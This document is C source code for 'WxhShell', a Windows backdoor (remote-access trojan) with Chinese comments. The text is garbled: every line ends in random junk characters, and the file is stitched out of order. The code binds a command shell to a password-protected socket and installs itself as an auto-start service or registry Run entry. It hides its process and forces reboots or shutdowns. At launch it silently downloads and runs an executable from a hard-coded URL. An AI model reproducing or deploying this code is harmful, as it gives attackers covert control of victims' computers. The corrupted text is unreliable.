    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =y@0i l+V  
    if(Boot(SHUTDOWN)) zI,Qc60B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Rf9 KQ  
    else { ;SjNZi)4d  
    closesocket(wsh); VVAcbAGJ  
    ExitThread(0); 5yK#;!:h  
    } 'Ca;gi !U  
    break; LFxk.-{=  
    } t bR  
  // 获取shell i.W*Go+  
  case 's': { "5k 6FV  
    CmdShell(wsh); g9JZ#BgZ  
    closesocket(wsh); r9N?z2X  
    ExitThread(0); MG.c`t/w  
    break; i~v[3e9y7  
  } ]o"E 4Vht  
  // 退出 dL+yd0 b*  
  case 'x': { bcy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X>uLGr>  
    CloseIt(wsh); 9'sZi}rT  
    break; gI2'[OU  
    } ;>6~}lMgJ  
  // 离开 T}msF  
  case 'q': { A'~mJO/   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3b0|7@_E  
    closesocket(wsh); H.>EO&#|p  
    WSACleanup(); tw<Oy^ i  
    exit(1); Dzu//_u  
    break; 0U*f"5F  
        } tKe-Dk9  
  } j} /).O  
  } [QQM/?  
.5s58H cg,  
  // 提示信息 s#a`e]#?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ic!% }S?  
} @XtrC|dkkE  
  } qyVARy  
6QT&{|q=  
  return; =X5w=(&  
} N3\RXXY  
PIo@B|W-SX  
// shell模块句柄 nu1XT 1q1  
int CmdShell(SOCKET sock) sxRKWM@4  
{ `<v$+mG  
STARTUPINFO si; )i:*r8*~  
ZeroMemory(&si,sizeof(si)); b3[!1i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dwUDhQt3Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (j@c946z""  
PROCESS_INFORMATION ProcessInfo; (gVN<Es  
char cmdline[]="cmd"; zvq}7,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3ww\Z8UeK  
  return 0; @VIY=qh  
} ZD|F"v.  
C%E~9_w  
// 自身启动模式 Srmr`[i  
int StartFromService(void) XMZ$AeF@  
{ E`qX|n  
typedef struct CC3 i@  
{ C:^ :^y  
  DWORD ExitStatus; z<fd!g+^  
  DWORD PebBaseAddress; CFW Hih  
  DWORD AffinityMask; u$5.GmKm  
  DWORD BasePriority; $vO<v<I'Gb  
  ULONG UniqueProcessId; `5Z'8^  
  ULONG InheritedFromUniqueProcessId; .XeZjoJ$z  
}   PROCESS_BASIC_INFORMATION; (X5y%~;V5a  
- uO(qUa#  
PROCNTQSIP NtQueryInformationProcess; b5]<!~Fv:`  
Ue Z(@6_:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j(;ou?Uh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WwWOic2  
Dmy=_j?ej  
  HANDLE             hProcess; -W@nc QL}  
  PROCESS_BASIC_INFORMATION pbi; <wFmfrx+v  
XA>uCJf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *5s*-^'#!  
  if(NULL == hInst ) return 0; adri02C/  
~fL`aU&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~(tt.l#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SQU@JKi; g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '?.']U,: $  
>jTiYJI_M  
  if (!NtQueryInformationProcess) return 0; v)|a}5={  
bYem0hzOe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <liprUFsn  
  if(!hProcess) return 0; ' i5}`\  
D(|+z-}M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oi~Dio_?  
Ny`SE\B+/  
  CloseHandle(hProcess); J~`!@!  
D8E^[w!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nI(w7qhub  
if(hProcess==NULL) return 0; p(4B"[!S  
-%>Tjo@B n  
HMODULE hMod; G eB-4img  
char procName[255]; XJl 3\*  
unsigned long cbNeeded; iDgc$'%?  
Ji=`XsV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m8b-\^eP7  
Dh#5-Kf%  
  CloseHandle(hProcess); d0%Wz5Np  
n) HV:8j~  
if(strstr(procName,"services")) return 1; // 以服务启动 @_c&lToj_  
As^eL/m2L  
  return 0; // 注册表启动 9X#]Lg?b  
} >XuPg(Ow  
gth_Sz5!#  
// 主模块 e iH&<AH  
int StartWxhshell(LPSTR lpCmdLine) b rDyjh  
{ apM)$  
  SOCKET wsl; *YQXxIIq  
BOOL val=TRUE; 4v5qK  
  int port=0; |KPNl\%ID  
  struct sockaddr_in door; (&V*~OR  
|?f~T"|>  
  if(wscfg.ws_autoins) Install(); !VudZ]Sg  
+>u 8r&Jw.  
port=atoi(lpCmdLine); 5OFB[  
KNP^k$=)3c  
if(port<=0) port=wscfg.ws_port; <5FGL96  
&g*1If  
  WSADATA data; jzi^ OI7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,]9p&xu  
Rf=-Q %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Us+u-~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |x _jpR  
  door.sin_family = AF_INET; 2*n~r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mpIR: Im  
  door.sin_port = htons(port); v`7~#Avhz  
+^rt48${ y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j/ARTaO1]"  
closesocket(wsl); r=RiuxxTq  
return 1; s!F8<:FRJD  
} k%N$eO$  
}C=+Tn  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Hx>yn94e  
closesocket(wsl); n5fc_N/8O=  
return 1; Yfz`or\@=  
} x;STt3M~  
  Wxhshell(wsl); ;__k*<+{.  
  WSACleanup(); e>uq/|.!  
<fgf L9-  
return 0; >pq=5Ha&  
y;.5AvfD  
} criNeKa  
S\k(0Sv9D  
// 以NT服务方式启动 kidv^`.H$w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7$"5qJ{s  
{ 2 jxh7\zE  
DWORD   status = 0; u*7>0o|H:  
  DWORD   specificError = 0xfffffff; G/1V4-@  
"1Y DT-I"  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  @]V_%,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2aUE<@RU[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OZ<fQf.Gh}  
  serviceStatus.dwWin32ExitCode     = 0; iVM% ]\  
  serviceStatus.dwServiceSpecificExitCode = 0;  O&dh<  
  serviceStatus.dwCheckPoint       = 0; Ff[GR$m  
  serviceStatus.dwWaitHint       = 0; 7U&<{U<  
1w 9zl}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7;sF0oB5e  
  if (hServiceStatusHandle==0) return; BGO pUy  
H" pwIiC  
status = GetLastError(); ?y[i6yN9  
  if (status!=NO_ERROR) `;s#/`c|/  
{ Z?."cuTt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d}^hZ8k|  
    serviceStatus.dwCheckPoint       = 0; 0\o5+  
    serviceStatus.dwWaitHint       = 0; <M,=( p{  
    serviceStatus.dwWin32ExitCode     = status; (Ii+}Mfp  
    serviceStatus.dwServiceSpecificExitCode = specificError; z{U^j:A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X;dUlSi  
    return; v 5&8C  
  } t"&qaG{  
j3'SM#X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7{OD/*|  
  serviceStatus.dwCheckPoint       = 0; ev5m(wR  
  serviceStatus.dwWaitHint       = 0; 9%?a\#C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m P./e8  
} G4n-}R&'  
*Ud P1?Y  
// 处理NT服务事件,比如:启动、停止 nS^,Sq\Ak  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uNvdlY]  
{ Cuom_+wV&  
switch(fdwControl) _6\"U5*Y  
{ G,@ Jo[e  
case SERVICE_CONTROL_STOP: R9~c: A4G  
  serviceStatus.dwWin32ExitCode = 0; Rw`64L_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lr(My3vF8q  
  serviceStatus.dwCheckPoint   = 0; poS=8mN8;  
  serviceStatus.dwWaitHint     = 0; 34aSRFsk*  
  { BvpUcICJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2<uBC  
  } C ?aa)H  
  return; '.t{\  
case SERVICE_CONTROL_PAUSE: G~zP&9N|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xbZR/!?  
  break; wF{M"$am  
case SERVICE_CONTROL_CONTINUE: VP6_}9:9   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 249DAjn+  
  break; $gaGaB  
case SERVICE_CONTROL_INTERROGATE: ,o6,(jJU  
  break; m=D9V-P  
}; aj$&~-/ R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d'e\tO  
} a}kPc}n\  
_16r8r$V  
// 标准应用程序主函数 'M% uw85  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A=BT2j'l)  
{ g,\O}jT\'  
'17V7A/t  
// 获取操作系统版本 r<_qU3Eaj  
OsIsNt=GetOsVer(); .;%`I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e+wINW  
ST[E$XL6  
  // 从命令行安装 v=?/c-J*  
  if(strpbrk(lpCmdLine,"iI")) Install(); UZ7ukn-  
CWS]821;  
  // 下载执行文件 4-W~ 1  
if(wscfg.ws_downexe) { E[>A# l53  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eZmwF@  
  WinExec(wscfg.ws_filenam,SW_HIDE); fWl #CI\]  
} >ToI$~84  
opon "{  
if(!OsIsNt) { @e^(V$ap  
// 如果时win9x,隐藏进程并且设置为注册表启动 kQO5sX$;  
HideProc();  ~5n?=  
StartWxhshell(lpCmdLine); g ~>nT>6  
} MQl GEJ  
else 5O:4-} hz  
  if(StartFromService()) 'L G )78sk  
  // 以服务方式启动 '$q3Ze  
  StartServiceCtrlDispatcher(DispatchTable); G%SoC  
else K,@} 'N  
  // 普通方式启动 "Q;Vy t  
  StartWxhshell(lpCmdLine); (%*~5%l\  
H.)J?3  
return 0; {R7m qzt  
} E^x/v_,$w!  
hj=k[t|g}  
R{{?wr6b$  
sJm v{wM  
=========================================== e J:#vX86  
8n/[oDc]  
yUg'^SEbLk  
=T#?:J#a  
=+"-8tz8FV  
,sltB3f  
" /n3SE0Y  
q`HK4~i,  
#include <stdio.h> - *xn`DH  
#include <string.h> xhncQhf\  
#include <windows.h> +"PME1  
#include <winsock2.h> j/hm)*\io  
#include <winsvc.h> 0|]qW cD  
#include <urlmon.h> |i- S}M  
K#dG'/M|Pb  
#pragma comment (lib, "Ws2_32.lib") ._`?ZJ  
#pragma comment (lib, "urlmon.lib") EP6@5PNZ  
L%/atl!  
#define MAX_USER   100 // 最大客户端连接数 j +Ro?  
#define BUF_SOCK   200 // sock buffer |6~ Kin  
#define KEY_BUFF   255 // 输入 buffer Dos';9Uq  
vJuL+'[i  
#define REBOOT     0   // 重启 8!7`F.BX  
#define SHUTDOWN   1   // 关机 x^y&<tA  
x6 h53R  
#define DEF_PORT   5000 // 监听端口 C40W@*6S2  
cd)}a_9  
#define REG_LEN     16   // 注册表键长度 R5fZ }C7  
#define SVC_LEN     80   // NT服务名长度 ;et(Yi;9  
|/!RN[<   
// 从dll定义API I6[=tB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ol*|J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -@/!u9l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5>rjL ;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .a}!!\@  
W! GUA<  
// wxhshell配置信息 5h p)Z7  
struct WSCFG { pY(S]i  
  int ws_port;         // 监听端口 USbFUHdDc  
  char ws_passstr[REG_LEN]; // 口令 0Yfz?:e  
  int ws_autoins;       // 安装标记, 1=yes 0=no =[`gfw  
  char ws_regname[REG_LEN]; // 注册表键名 'BNZUuUl  
  char ws_svcname[REG_LEN]; // 服务名 `+GiSj8'G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qz|xow/ns@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~0 Mw\p%}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MMf_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yz_xWx#9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CMHg]la  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0mI4hy  
HkyN$1s  
}; `qa>6`\  
!-q)9K?  
// default Wxhshell configuration G/V0Yn""  
struct WSCFG wscfg={DEF_PORT, qQCds}<w  
    "xuhuanlingzhe", WsR4)U/]v  
    1, . "`f~s\G  
    "Wxhshell", LgA> ,.  
    "Wxhshell", &_$xMM,X  
            "WxhShell Service", B[[1=  
    "Wrsky Windows CmdShell Service", pcPRkYT[ M  
    "Please Input Your Password: ", n2&M?MGX  
  1, (:|1h@K/R  
  "http://www.wrsky.com/wxhshell.exe", ~JohcU}d  
  "Wxhshell.exe" BHZSc(-o  
    }; Sigu p#.p  
' g Fewo  
// 消息定义模块 &Y$)s<u8.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (eO_]<wmky  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n16TQe"8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +!<{80w  
char *msg_ws_ext="\n\rExit."; q%wF=<W  
char *msg_ws_end="\n\rQuit."; r%^XOw<'  
char *msg_ws_boot="\n\rReboot..."; 8Tm/gzx  
char *msg_ws_poff="\n\rShutdown..."; u&$1XZ!es  
char *msg_ws_down="\n\rSave to "; &A~(9IV  
d$v{oC }  
char *msg_ws_err="\n\rErr!"; 6G>bZ+  
char *msg_ws_ok="\n\rOK!"; dhI+_z   
X$ 76#x  
char ExeFile[MAX_PATH]; k1M?6TW&  
int nUser = 0; 5C"A*Fg?;  
HANDLE handles[MAX_USER]; 9XW[NY#)#  
int OsIsNt; /n#t.XJY*  
0p!N'7N  
SERVICE_STATUS       serviceStatus; (r$QQO) /  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p0j-$*F  
7' TXR[   
// 函数声明 'K3%@,O  
int Install(void); B~/ejC!  
int Uninstall(void); d15E$?ZLH  
int DownloadFile(char *sURL, SOCKET wsh); v$bR&bCT  
int Boot(int flag); r2>y !Q?  
void HideProc(void); u^&,~n@n7  
int GetOsVer(void); ;#6j9M0  
int Wxhshell(SOCKET wsl); ~n!7 ?4%U  
void TalkWithClient(void *cs); `jH0FJQ  
int CmdShell(SOCKET sock); ({p @Ay  
int StartFromService(void); 9/LJ tM  
int StartWxhshell(LPSTR lpCmdLine); i+B tz-  
PVUNi: h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aW#_"Y}v'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %dA7`7j  
HH,G3~EBF  
// 数据结构和表定义 "Kt[jV;6  
SERVICE_TABLE_ENTRY DispatchTable[] = 2[$` ]{U  
{ #ui7YUR=2  
{wscfg.ws_svcname, NTServiceMain}, vCtag]H2@  
{NULL, NULL} _K|513I  
}; ~yuj;9m3  
@ei:/~y3  
// 自我安装 U2VnACCUZs  
int Install(void) |&a[@(N:zf  
{ Z  )dz  
  char svExeFile[MAX_PATH]; oFUP`p%[  
  HKEY key; EL-1o0 2-  
  strcpy(svExeFile,ExeFile); \m;"KyP+  
>QM$ NIf@  
// 如果是win9x系统,修改注册表设为自启动 I@9k+JB   
if(!OsIsNt) { aj*%$!SU+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JK9}Kb};  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gAgP("  
  RegCloseKey(key); ZICcZG_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1:#0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _K"X  
  RegCloseKey(key); $di8#O*  
  return 0; |);-{=.OdQ  
    } RW. >;|m  
  } mf)o1O&B  
} tkGJ!aUt  
else { I*^3 Z  
H:HJHd"W  
// 如果是NT以上系统,安装为系统服务 .2 /$ !'E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K q0!.455  
if (schSCManager!=0) "m:4e`_dz  
{ :h+gSvn:  
  SC_HANDLE schService = CreateService q"[8u ]j  
  ( 7!E?(3$#"  
  schSCManager, e.|_=Gd2/  
  wscfg.ws_svcname, :3x|U,wC  
  wscfg.ws_svcdisp, q0hg0 DC[;  
  SERVICE_ALL_ACCESS, 8Dq;QH}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g.d%z  
  SERVICE_AUTO_START, B)M& FO  
  SERVICE_ERROR_NORMAL, +L8 6 w7  
  svExeFile, ^3L6mOoA  
  NULL, 5/O;&[lYy  
  NULL, a9GLFA8Vq  
  NULL, !be6}  
  NULL, ![BQ;X  
  NULL x`vIY-DS  
  ); [1Yx#t  
  if (schService!=0) =U5lPsiv,3  
  { &ns !\!  
  CloseServiceHandle(schService); }'KVi=qnHb  
  CloseServiceHandle(schSCManager); I%NPc4p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,HxsU,xiG  
  strcat(svExeFile,wscfg.ws_svcname); 7lvUIc?krW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v^h \E+@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =x4:jas  
  RegCloseKey(key); G w$sL&1m\  
  return 0; F-)lRGw  
    } D/w4u;E@  
  } _|S>, D'  
  CloseServiceHandle(schSCManager); -k p~p e*T  
} lMX 2O2 o  
} d))(hk:  
y#AwuC K  
return 1; BHE((3  
} d]OoJK9&&  
yWACI aj  
// 自我卸载 .-;K$'YG  
int Uninstall(void) UlHRA[SCv  
{ |#x;}_>7  
  HKEY key; U n#7@8,  
_XtLO- D  
if(!OsIsNt) { uD&!]E3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /(w:XTO<  
  RegDeleteValue(key,wscfg.ws_regname); bh&,*Y6=  
  RegCloseKey(key); AF1";duA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,epKt(vl  
  RegDeleteValue(key,wscfg.ws_regname); ]],6Fi+  
  RegCloseKey(key);  U&PAs e  
  return 0; z= -u89]  
  } GdavCwJ  
} BciwS_Qx  
} ~4[2{M.0>@  
else { 0K'lr;  
Y;je::"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "_ b Sy  
if (schSCManager!=0) 2#LcL  
{ =iRi 9r'l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y UQ;tTI  
  if (schService!=0) pv TV*  
  { j?1\E9&4-Q  
  if(DeleteService(schService)!=0) { * eL%[B  
  CloseServiceHandle(schService); PGMu6$  
  CloseServiceHandle(schSCManager); FyYQ4ov0&o  
  return 0; 0/<}.Z]  
  } mSAuS)YD  
  CloseServiceHandle(schService); %4cUa| =?  
  } sMli!u  
  CloseServiceHandle(schSCManager); A6}M F  
} kf0zL3|   
} P"_x/C(]@J  
3=) /-l  
return 1; BnqAv xX  
} 1j6ZSE/*|  
$Ha?:jSc  
// 从指定url下载文件 iwCnW7:  
int DownloadFile(char *sURL, SOCKET wsh) X#5dd.RR  
{ F {]:  
  HRESULT hr; \P!v9LX(  
char seps[]= "/"; h|dVVCsN  
char *token; <(?ahO5  
char *file; P$2J`b[H$  
char myURL[MAX_PATH]; ][:6En}  
char myFILE[MAX_PATH]; RX>kOp29  
B+ GPTQSTb  
strcpy(myURL,sURL); @fT*fv   
  token=strtok(myURL,seps); W<yh{u&,  
  while(token!=NULL) B8Jev\_  
  { {LJwW*?  
    file=token; q NU\XO`H  
  token=strtok(NULL,seps); Q <^'v>~n  
  } ag14omM-  
gnNMuqt  
GetCurrentDirectory(MAX_PATH,myFILE); %fh ,e5(LT  
strcat(myFILE, "\\"); q>r9ooN  
strcat(myFILE, file); Pp:(PoH  
  send(wsh,myFILE,strlen(myFILE),0); f`p`c*  
send(wsh,"...",3,0); /`D]m?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xv's52x  
  if(hr==S_OK) `f*?|)  
return 0; w@X<</`  
else c _O| ?1  
return 1; 0fXdE ;M3  
"2 ma]Ps  
} N|z-s  
Cq u/(=  
// 系统电源模块 q*@7A6:FV>  
int Boot(int flag) _,NL;66=[  
{ f<uLbJ6  
  HANDLE hToken; <QugV3e  
  TOKEN_PRIVILEGES tkp; mDvZ 1aj  
pJVzT,poh  
  if(OsIsNt) { 8 ]dhNA5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w%VHq z$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +~  :1H.  
    tkp.PrivilegeCount = 1; T5-50nU,~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; st|$Fu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bh6Mh< +  
if(flag==REBOOT) { ! 0fpD'f!n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V(=~p[  
  return 0; k^p|H:  
} >wdR4!x!?  
else { ><TuL7+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D+LeZBJ  
  return 0; O=MO M  
} `w@fxv   
  } PGP9-M  
  else { ]"q)X{G(+  
if(flag==REBOOT) { %QVX1\>]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8PDt 7 \  
  return 0; IW Lv$bPZ/  
} vZTX3c:,1  
else { ]B:g<}5$4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <)uUAh  
  return 0; <o3e0JCq  
} {Lk~O)E  
} GW ?.b_6*  
Cl6y:21]K  
return 1; Fm`hFBKW  
} ,`^B!U3m   
@7" xDgA  
// win9x进程隐藏模块 LU?X|{z  
void HideProc(void) F8Rd#^9PD  
{ ..Zuy|?w  
14]!LgH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kmi[u8iXD_  
  if ( hKernel != NULL ) S s@\'K3e  
  { UkG|5P`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n (C*LK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %q;3b fq@N  
    FreeLibrary(hKernel); y/$WjFj3"  
  } V.XHjHT  
lV?rC z  
return; dFjB &#Tl  
} d}EGI  
aG%KiJ7KEN  
// 获取操作系统版本 hvtg_w6K  
int GetOsVer(void) >5% o9$|z  
{ y5kqnibh@  
  OSVERSIONINFO winfo; f+}? $'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L Bb&av  
  GetVersionEx(&winfo); I?G m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V9`VF O  
  return 1; 54_CewL1P]  
  else c+f~>AaI  
  return 0; <K=:_  
} MOP/q4j[  
` Xhj7%>  
// 客户端句柄模块 Uq<c+4)5  
int Wxhshell(SOCKET wsl) :UoZ`O~  
{ g;i>nzf  
  SOCKET wsh; !e?=I  
  struct sockaddr_in client; mQ;b'0&  
  DWORD myID; ?SK1*; i  
Y/2@PzA|  
  while(nUser<MAX_USER) M`-#6,m3  
{ `{c %d  
  int nSize=sizeof(client); a9j f7r1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \l?\%aqm  
  if(wsh==INVALID_SOCKET) return 1; "a6[FqTs  
.}&bE1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J(ZYoJ  
if(handles[nUser]==0) 0.'$U}#b  
  closesocket(wsh); mDEO$:A  
else )[|TxXz d  
  nUser++; N\ChA]Ck  
  } #K.OJJaG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wz)s#  
{u{n b3/jl  
  return 0; tV%:sk^d  
} 1Jg&L~Ws"  
F.i*'x0u  
// 关闭 socket ,j>A[e&.  
void CloseIt(SOCKET wsh) W&#Ps6)8  
{ V|e9G,z~A  
closesocket(wsh); y!&6"l$K]  
nUser--; ~~!iDF\  
ExitThread(0); )D\!#<#h  
} [`Seh$  
kG@~;*;l  
// 客户端请求句柄 V*5 ~A [r  
void TalkWithClient(void *cs) V]dzKNFi  
{ R".~{6  
pKJ0+mN#"  
  SOCKET wsh=(SOCKET)cs; h}r.(MVt  
  char pwd[SVC_LEN]; z2*>5 c%  
  char cmd[KEY_BUFF]; [vh&o-6  
char chr[1]; }iZO0C  
int i,j; d#xi_L!  
m<qPj"g~L  
  while (nUser < MAX_USER) { FC[8kq>Hk  
3]"RaI4Q0  
if(wscfg.ws_passstr) { =$xxkc.~G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YaU)66=u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [hC-} 9  
  //ZeroMemory(pwd,KEY_BUFF); @c,Qj$\1  
      i=0; 3pg_`  
  while(i<SVC_LEN) { Xy/lsaVskX  
kEiWE|  
  // 设置超时 K,_d/(T4  
  fd_set FdRead; 'b(V8x  
  struct timeval TimeOut; j`tBki:  
  FD_ZERO(&FdRead); s[6y|{&ze  
  FD_SET(wsh,&FdRead); C]H'z  
  TimeOut.tv_sec=8; .rpKSf.  
  TimeOut.tv_usec=0; Y,0D+sO4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ${fJ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h2~b%|Pv  
bDK%vx!_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vk;]9o j*  
  pwd=chr[0]; X|]&K  
  if(chr[0]==0xd || chr[0]==0xa) { ,F^Rz.  
  pwd=0; R;D|To!  
  break; sX_6qKUH  
  } o}QtKf)W  
  i++; CjeAO 2  
    } sUl/9VKl  
'1rHvz`B/"  
  // 如果是非法用户,关闭 socket i_<Uk8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9qe<bds1  
} U42B( ow  
.]gY{_|x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #i6ZY^+ee  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yex4A)n9"'  
f\c m84  
while(1) { v fnVN@ 5  
7l+>WB_]  
  ZeroMemory(cmd,KEY_BUFF); 1uz7E  
Dx:2/"v  
      // 自动支持客户端 telnet标准   #@qd.,]2  
  j=0; RxUABF8b  
  while(j<KEY_BUFF) { <Wz+f+HC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7R4xJ H  
  cmd[j]=chr[0]; &n 1 \^:  
  if(chr[0]==0xa || chr[0]==0xd) { 7|vB\[s  
  cmd[j]=0; LA\)B"{J  
  break; B`I9  
  } >o45vB4o  
  j++; s"jNS1B  
    } (j*1sk  
cwK+{*ZH/  
  // 下载文件 Qx{[#[Da  
  if(strstr(cmd,"http://")) { Zcq 4?-&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t93iU?Z  
  if(DownloadFile(cmd,wsh)) heF<UMI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:^m#:[cE  
  else S zqY@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u=mJI*  
  } @1p ,  
